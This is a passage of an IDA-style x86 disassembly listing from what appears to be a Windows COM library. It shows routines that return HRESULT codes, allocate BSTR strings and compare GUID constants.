		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_69B443D1
		mov	eax, 80070057h
		jmp	short loc_69B44413
; ---------------------------------------------------------------------------


loc_69B443D1:				; CODE XREF: sub_69B443BC+Cj
		and	dword ptr [esi], 0
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B443E8
		mov	eax, 80004005h
		jmp	short loc_69B44412
; ---------------------------------------------------------------------------


loc_69B443E8:				; CODE XREF: sub_69B443BC+23j
		push	edi
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi+18h]
		lea	ecx, [ebp+var_10]
		push	ebx
		call	sub_69B18B3B
		mov	eax, [edi+18h]
		mov	eax, [eax+40h]
		lea	ecx, [ebp+var_10]
		mov	[esi], eax
		call	sub_69B18EBA
		push	ebx
		call	dword_69B92944
		xor	eax, eax
		pop	edi


loc_69B44412:				; CODE XREF: sub_69B443BC+2Aj
		pop	ebx


loc_69B44413:				; CODE XREF: sub_69B443BC+13j
		pop	esi
		leave
		retn	8
sub_69B443BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B44418	proc near		; DATA XREF: .text:69B1DFB4o
		push	28h
		push	offset dword_69B444D8
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B44437
		mov	eax, 80070057h
		jmp	loc_69B444C9
; ---------------------------------------------------------------------------


loc_69B44437:				; CODE XREF: sub_69B44418+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B4444D
		mov	eax, 80004005h
		jmp	short loc_69B444C9
; ---------------------------------------------------------------------------


loc_69B4444D:				; CODE XREF: sub_69B44418+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], ebx
		mov	ecx, [esi+18h]
		mov	[ebp-30h], ecx
		call	sub_69B3DD3A
		mov	[ebp-34h], eax
		cmp	eax, ebx
		jnz	short loc_69B4447E
		push	offset aUtf8	; "UTF-8"
		call	sub_69B1A587
		mov	[ebp-34h], eax


loc_69B4447E:				; CODE XREF: sub_69B44418+57j
		mov	ecx, [eax+0Ch]
		mov	[ebp-38h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B444B2
; ---------------------------------------------------------------------------


loc_69B44492:				; DATA XREF: .text:69B444DCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4449B:				; DATA XREF: .text:69B444E0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B444B2:				; CODE XREF: sub_69B44418+78j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B444C9:				; CODE XREF: sub_69B44418+1Aj
					; sub_69B44418+33j
		call	sub_69B1853C
		retn	8
sub_69B44418	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B444D8	dd 0FFFFFFFFh			dd offset loc_69B44492
		dd offset loc_69B4449B

; =============== S U B	R O U T	I N E =======================================



sub_69B444E4	proc near		; DATA XREF: .text:69B1DFB8o
		push	28h
		push	offset dword_69B44598
		call	sub_69B19C5C
		xor	ebx, ebx
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B44501
		mov	eax, 80070057h
		jmp	loc_69B4458F
; ---------------------------------------------------------------------------


loc_69B44501:				; CODE XREF: sub_69B444E4+11j
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		cmp	edi, ebx
		jz	short loc_69B44533
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B4453A
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B44533:				; CODE XREF: sub_69B444E4+2Aj
		mov	eax, 80004005h
		jmp	short loc_69B4458F
; ---------------------------------------------------------------------------


loc_69B4453A:				; CODE XREF: sub_69B444E4+3Ej
		xor	edi, edi
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		mov	[ebp-34h], eax
		mov	ecx, [esi+18h]
		mov	[ebp-38h], ecx
		push	eax
		call	sub_69B3DD74
		jmp	short loc_69B44578
; ---------------------------------------------------------------------------


loc_69B44558:				; DATA XREF: .text:69B4459Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B44561:				; DATA XREF: .text:69B445A0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B44578:				; CODE XREF: sub_69B444E4+72j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B4458F:				; CODE XREF: sub_69B444E4+18j
					; sub_69B444E4+54j
		call	sub_69B1853C
		retn	8
sub_69B444E4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B44598	dd 0FFFFFFFFh			dd offset loc_69B44558
		dd offset loc_69B44561

; =============== S U B	R O U T	I N E =======================================



sub_69B445A4	proc near		; DATA XREF: .text:69B1DFBCo
		push	28h
		push	offset dword_69B44650
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B445C3
		mov	eax, 80070057h
		jmp	loc_69B44644
; ---------------------------------------------------------------------------


loc_69B445C3:				; CODE XREF: sub_69B445A4+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B445D9
		mov	eax, 80004005h
		jmp	short loc_69B44644
; ---------------------------------------------------------------------------


loc_69B445D9:				; CODE XREF: sub_69B445A4+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], ebx
		mov	ecx, [esi+18h]
		mov	[ebp-30h], ecx
		call	sub_69B3EBB0
		mov	[ebp-34h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-38h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B4462D
; ---------------------------------------------------------------------------


loc_69B4460D:				; DATA XREF: .text:69B44654o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B44616:				; DATA XREF: .text:69B44658o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B4462D:				; CODE XREF: sub_69B445A4+67j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B44644:				; CODE XREF: sub_69B445A4+1Aj
					; sub_69B445A4+33j
		call	sub_69B1853C
		retn	8
sub_69B445A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B44650	dd 0FFFFFFFFh			dd offset loc_69B4460D
		dd offset loc_69B44616

; =============== S U B	R O U T	I N E =======================================



sub_69B4465C	proc near		; DATA XREF: .text:69B1DFC0o
		push	30h
		push	offset dword_69B44720
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B4467B
		mov	eax, 80070057h
		jmp	loc_69B44717
; ---------------------------------------------------------------------------


loc_69B4467B:				; CODE XREF: sub_69B4465C+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B44694
		mov	eax, 80004005h
		jmp	loc_69B44717
; ---------------------------------------------------------------------------


loc_69B44694:				; CODE XREF: sub_69B4465C+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], ebx
		mov	ecx, [esi+18h]
		mov	[ebp-30h], ecx
		call	sub_69B3D720
		mov	[ebp-34h], eax
		cmp	eax, ebx
		jz	short loc_69B446D6
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	[ebp-38h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-3Ch], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B44700
; ---------------------------------------------------------------------------


loc_69B446D6:				; CODE XREF: sub_69B4465C+5Aj
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-40h], ebx
		jmp	short loc_69B44700
; ---------------------------------------------------------------------------


loc_69B446E0:				; DATA XREF: .text:69B44724o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B446E9:				; DATA XREF: .text:69B44728o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B44700:				; CODE XREF: sub_69B4465C+78j
					; sub_69B4465C+82j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B44717:				; CODE XREF: sub_69B4465C+1Aj
					; sub_69B4465C+33j
		call	sub_69B1853C
		retn	8
sub_69B4465C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B44720	dd 0FFFFFFFFh			dd offset loc_69B446E0
		dd offset loc_69B446E9

; =============== S U B	R O U T	I N E =======================================



sub_69B4472C	proc near		; DATA XREF: .text:69B1DFCCo
		push	24h
		push	offset dword_69B447C8
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B44748
		mov	eax, 80070057h
		jmp	short loc_69B447C0
; ---------------------------------------------------------------------------


loc_69B44748:				; CODE XREF: sub_69B4472C+13j
		mov	[edi], bx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B4475F
		mov	eax, 80004005h
		jmp	short loc_69B447C0
; ---------------------------------------------------------------------------


loc_69B4475F:				; CODE XREF: sub_69B4472C+2Aj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], ebx
		mov	esi, [esi+18h]
		mov	[ebp-30h], esi
		mov	al, [esi+8Ch]
		mov	[ebp-31h], al
		neg	al
		sbb	eax, eax
		mov	[edi], ax
		jmp	short loc_69B447A9
; ---------------------------------------------------------------------------


loc_69B44789:				; DATA XREF: .text:69B447CCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B44792:				; DATA XREF: .text:69B447D0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B447A9:				; CODE XREF: sub_69B4472C+5Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B447C0:				; CODE XREF: sub_69B4472C+1Aj
					; sub_69B4472C+31j
		call	sub_69B1853C
		retn	8
sub_69B4472C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_69B447C8	dd 0FFFFFFFFh			dd offset loc_69B44789
		dd offset loc_69B44792

; =============== S U B	R O U T	I N E =======================================



sub_69B447D4	proc near		; DATA XREF: .text:69B1DFD0o
		push	24h
		push	offset dword_69B44878
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		test	edi, edi
		jz	short loc_69B44813
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	byte ptr [ebp-2Ch], 0
		jnz	short loc_69B4481A
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B44813:				; CODE XREF: sub_69B447D4+19j
		mov	eax, 80004005h
		jmp	short loc_69B4486C
; ---------------------------------------------------------------------------


loc_69B4481A:				; CODE XREF: sub_69B447D4+2Ej
		xor	edi, edi
		and	[ebp-4], edi
		mov	esi, [esi+18h]
		mov	[ebp-34h], esi
		cmp	word ptr [ebp+0Ch], 0FFFFh
		setz	al
		mov	[esi+8Ch], al
		jmp	short loc_69B44855
; ---------------------------------------------------------------------------


loc_69B44835:				; DATA XREF: .text:69B4487Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4483E:				; DATA XREF: .text:69B44880o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B44855:				; CODE XREF: sub_69B447D4+5Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B4486C:				; CODE XREF: sub_69B447D4+44j
		call	sub_69B1853C
		retn	8
sub_69B447D4	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B44878	dd 0FFFFFFFFh			dd offset loc_69B44835
		dd offset loc_69B4483E

; =============== S U B	R O U T	I N E =======================================



sub_69B44884	proc near		; CODE XREF: sub_69B45902+3p

; FUNCTION CHUNK AT 69B88066 SIZE 00000013 BYTES

		push	esi
		mov	esi, ecx
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi-0Ch], offset off_69B12608
		mov	dword ptr [esi-8], offset off_69B28084
		mov	dword ptr [esi], offset	off_69B2807C
		call	sub_69B48B39
		lea	ecx, [esi-0Ch]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, esi
		pop	esi
		jmp	loc_69B88066
sub_69B44884	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B448B2	proc near		; CODE XREF: sub_69B3A953+81p
					; sub_69B5D45C+5Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		lea	ecx, [eax+4]
		push	eax
		call	sub_69B87FE8
		retn	0Ch
sub_69B448B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B448CA	proc near		; DATA XREF: .text:69B1E080o

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx+14h]
		push	ebx
		xor	ebx, ebx
		mov	bl, [eax+0Bh]
		mov	eax, [ecx+10h]
		mov	[esp+8+var_4], 1
		and	ebx, 1Fh
		cmp	byte ptr [eax+8Dh], 0
		jz	loc_69B44A6E
		mov	edx, [esp+8+arg_4]
		push	ebp
		push	esi
		push	edi
		push	4
		pop	ebp
		mov	ecx, ebp
		mov	edi, offset dword_69B25E54
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jz	loc_69B44A66
		mov	ecx, ebp
		mov	edi, offset dword_69B25DD4
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B44927
		test	ebx, ebx
		jz	loc_69B44A66


loc_69B44927:				; CODE XREF: sub_69B448CA+53j
		mov	ecx, ebp
		mov	edi, offset dword_69B25DE4
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B4493F
		cmp	ebx, 0Fh
		jz	loc_69B44A66


loc_69B4493F:				; CODE XREF: sub_69B448CA+6Aj
		mov	ecx, ebp
		mov	edi, offset dword_69B25DA4
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B44960
		cmp	ebx, 5
		jz	loc_69B44A66
		cmp	ebx, 12h
		jz	loc_69B44A66


loc_69B44960:				; CODE XREF: sub_69B448CA+82j
		mov	ecx, ebp
		mov	edi, offset dword_69B25DB4
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B44978
		cmp	ebx, 2
		jz	loc_69B44A66


loc_69B44978:				; CODE XREF: sub_69B448CA+A3j
		mov	ecx, ebp
		mov	edi, offset dword_69B25DF4
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B449A2
		cmp	ebx, 1
		jz	loc_69B44A66
		cmp	ebx, 6
		jz	loc_69B44A66
		cmp	ebx, 2
		jz	loc_69B44A66


loc_69B449A2:				; CODE XREF: sub_69B448CA+BBj
		mov	ecx, ebp
		mov	edi, offset dword_69B25DC4
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B449C3
		cmp	ebx, 1
		jz	loc_69B44A66
		cmp	ebx, 6
		jz	loc_69B44A66


loc_69B449C3:				; CODE XREF: sub_69B448CA+E5j
		mov	ecx, ebp
		mov	edi, offset dword_69B25D94
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B449DB
		cmp	ebx, 6
		jz	loc_69B44A66


loc_69B449DB:				; CODE XREF: sub_69B448CA+106j
		mov	ecx, ebp
		mov	edi, offset dword_69B25E44
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B449EF
		cmp	ebx, 11h
		jz	short loc_69B44A66


loc_69B449EF:				; CODE XREF: sub_69B448CA+11Ej
		mov	ecx, ebp
		mov	edi, offset dword_69B25D64
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B44A03
		cmp	ebx, 7
		jz	short loc_69B44A66


loc_69B44A03:				; CODE XREF: sub_69B448CA+132j
		mov	ecx, ebp
		mov	edi, offset dword_69B25D74
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B44A17
		cmp	ebx, 8
		jz	short loc_69B44A66


loc_69B44A17:				; CODE XREF: sub_69B448CA+146j
		mov	ecx, ebp
		mov	edi, offset dword_69B25D54
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B44A2B
		cmp	ebx, 0Bh
		jz	short loc_69B44A66


loc_69B44A2B:				; CODE XREF: sub_69B448CA+15Aj
		mov	ecx, ebp
		mov	edi, offset dword_69B25D84
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B44A3E
		cmp	ebx, ebp
		jz	short loc_69B44A66


loc_69B44A3E:				; CODE XREF: sub_69B448CA+16Ej
		mov	ecx, ebp
		mov	edi, offset stru_69B25E34
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B44A52
		cmp	ebx, 3
		jz	short loc_69B44A66


loc_69B44A52:				; CODE XREF: sub_69B448CA+181j
		mov	ecx, ebp
		mov	edi, offset dword_69B25E14
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B44A6B
		cmp	ebx, 3
		jnz	short loc_69B44A6B


loc_69B44A66:				; CODE XREF: sub_69B448CA+40j
					; sub_69B448CA+57j ...
		and	[esp+14h+var_4], 0


loc_69B44A6B:				; CODE XREF: sub_69B448CA+195j
					; sub_69B448CA+19Aj
		pop	edi
		pop	esi
		pop	ebp


loc_69B44A6E:				; CODE XREF: sub_69B448CA+23j
		mov	eax, [esp+8+var_4]
		pop	ebx
		pop	ecx
		retn	8
sub_69B448CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B44A77	proc near		; DATA XREF: .text:69B12624o
		push	34h
		push	offset dword_69B44B68
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B44A96
		mov	eax, 80070057h
		jmp	loc_69B44B5D
; ---------------------------------------------------------------------------


loc_69B44A96:				; CODE XREF: sub_69B44A77+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B44AAF
		mov	eax, 80004005h
		jmp	loc_69B44B5D
; ---------------------------------------------------------------------------


loc_69B44AAF:				; CODE XREF: sub_69B44A77+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B44112
		mov	[ebp-4], ebx
		mov	ecx, [esi+18h]
		mov	eax, ecx
		mov	[ebp-30h], eax
		movzx	eax, byte ptr [eax+0Bh]
		and	eax, 1Fh
		jle	short loc_69B44AF1
		cmp	eax, 2
		jle	short loc_69B44AE7
		cmp	eax, 6
		jnz	short loc_69B44AF1


loc_69B44AE7:				; CODE XREF: sub_69B44A77+69j
		mov	ebx, 80004001h
		mov	[ebp-34h], ebx
		jmp	short loc_69B44B3E
; ---------------------------------------------------------------------------


loc_69B44AF1:				; CODE XREF: sub_69B44A77+64j
					; sub_69B44A77+6Ej
		mov	[ebp-38h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		mov	[ebp-3Ch], eax
		cmp	eax, ebx
		jz	short loc_69B44B3E
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	[ebp-40h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-44h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B44B3E
; ---------------------------------------------------------------------------


loc_69B44B1E:				; DATA XREF: .text:69B44B6Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B44B27:				; DATA XREF: .text:69B44B70o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B44B3E:				; CODE XREF: sub_69B44A77+78j
					; sub_69B44A77+87j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B44B5D:				; CODE XREF: sub_69B44A77+1Aj
					; sub_69B44A77+33j
		call	sub_69B1853C
		retn	8
sub_69B44A77	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B44B68	dd 0FFFFFFFFh			dd offset loc_69B44B1E
		dd offset loc_69B44B27

; =============== S U B	R O U T	I N E =======================================



sub_69B44B74	proc near		; DATA XREF: .text:69B12628o
		push	2Ch
		push	offset dword_69B44C40
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B44B99
		mov	eax, 80004005h
		jmp	loc_69B44C33
; ---------------------------------------------------------------------------


loc_69B44B99:				; CODE XREF: sub_69B44B74+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B44112
		mov	[ebp-4], edi
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		mov	[ebp-30h], eax
		mov	esi, [esi+18h]
		mov	eax, esi
		mov	[ebp-34h], eax
		movzx	eax, byte ptr [eax+0Bh]
		and	eax, 1Fh
		sub	eax, edi
		jz	short loc_69B44BE5
		sub	eax, 5
		jz	short loc_69B44BE5
		dec	eax
		dec	eax
		jz	short loc_69B44BE5
		xor	edi, edi
		inc	edi
		mov	[ebp-38h], edi
		jmp	short loc_69B44C14
; ---------------------------------------------------------------------------


loc_69B44BE5:				; CODE XREF: sub_69B44B74+5Ej
					; sub_69B44B74+63j ...
		mov	ecx, esi
		mov	[ebp-3Ch], ecx
		mov	eax, [ecx]
		push	dword ptr [ebp-30h]
		call	dword ptr [eax+40h]
		jmp	short loc_69B44C14
; ---------------------------------------------------------------------------


loc_69B44BF4:				; DATA XREF: .text:69B44C44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B44BFD:				; DATA XREF: .text:69B44C48o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B44C14:				; CODE XREF: sub_69B44B74+6Fj
					; sub_69B44B74+7Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B44C33:				; CODE XREF: sub_69B44B74+20j
		call	sub_69B1853C
		retn	8
sub_69B44B74	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B44C40	dd 0FFFFFFFFh			dd offset loc_69B44BF4
		dd offset loc_69B44BFD

; =============== S U B	R O U T	I N E =======================================



sub_69B44C4C	proc near		; DATA XREF: .text:69B12630o
		push	30h
		push	offset dword_69B44D48
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B44C6F
		mov	eax, 80004005h
		jmp	loc_69B44D3D
; ---------------------------------------------------------------------------


loc_69B44C6F:				; CODE XREF: sub_69B44C4C+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B44112
		and	dword ptr [ebp-30h], 0
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-34h], eax
		movzx	eax, byte ptr [eax+0Bh]
		and	eax, 1Fh
		jle	short loc_69B44CB3
		cmp	eax, 2
		jle	short loc_69B44CAA
		cmp	eax, 6
		jnz	short loc_69B44CB3


loc_69B44CAA:				; CODE XREF: sub_69B44C4C+57j
		mov	dword ptr [ebp-30h], 80004001h
		jmp	short loc_69B44D1D
; ---------------------------------------------------------------------------


loc_69B44CB3:				; CODE XREF: sub_69B44C4C+52j
					; sub_69B44C4C+5Cj
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		mov	ecx, eax
		call	sub_69B2F266
		mov	[ebp-38h], eax
		cmp	word ptr [ebp+10h], 8
		jnz	short loc_69B44CF3
		push	dword ptr [ebp+18h] ; lpString
		call	sub_69B1A587
		mov	[ebp-3Ch], eax
		mov	esi, [esi+18h]
		mov	[ebp-40h], esi
		mov	edi, [esi]
		push	eax
		push	dword ptr [ebp-38h]
		call	sub_69B1A2EC
		push	eax
		mov	ecx, esi
		call	dword ptr [edi+0ACh]
		jmp	short loc_69B44D1D
; ---------------------------------------------------------------------------


loc_69B44CF3:				; CODE XREF: sub_69B44C4C+7Ej
		mov	dword ptr [ebp-30h], 80070057h
		jmp	short loc_69B44D1D
; ---------------------------------------------------------------------------


loc_69B44CFC:				; DATA XREF: .text:69B44D4Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B44D05:				; DATA XREF: .text:69B44D50o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B44D1D:				; CODE XREF: sub_69B44C4C+65j
					; sub_69B44C4C+A5j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B44D3D:				; CODE XREF: sub_69B44C4C+1Ej
		call	sub_69B1853C
		retn	18h
sub_69B44C4C	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B44D48	dd 0FFFFFFFFh			dd offset loc_69B44CFC
		dd offset loc_69B44D05

; =============== S U B	R O U T	I N E =======================================



sub_69B44D54	proc near		; DATA XREF: .text:69B12634o
		push	34h
		push	offset dword_69B44E58
		call	sub_69B19C5C
		mov	esi, [ebp+10h]
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_69B44D73
		mov	eax, 80070057h
		jmp	loc_69B44E4E
; ---------------------------------------------------------------------------


loc_69B44D73:				; CODE XREF: sub_69B44D54+13j
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B44D8A
		mov	eax, 80004005h
		jmp	loc_69B44E4E
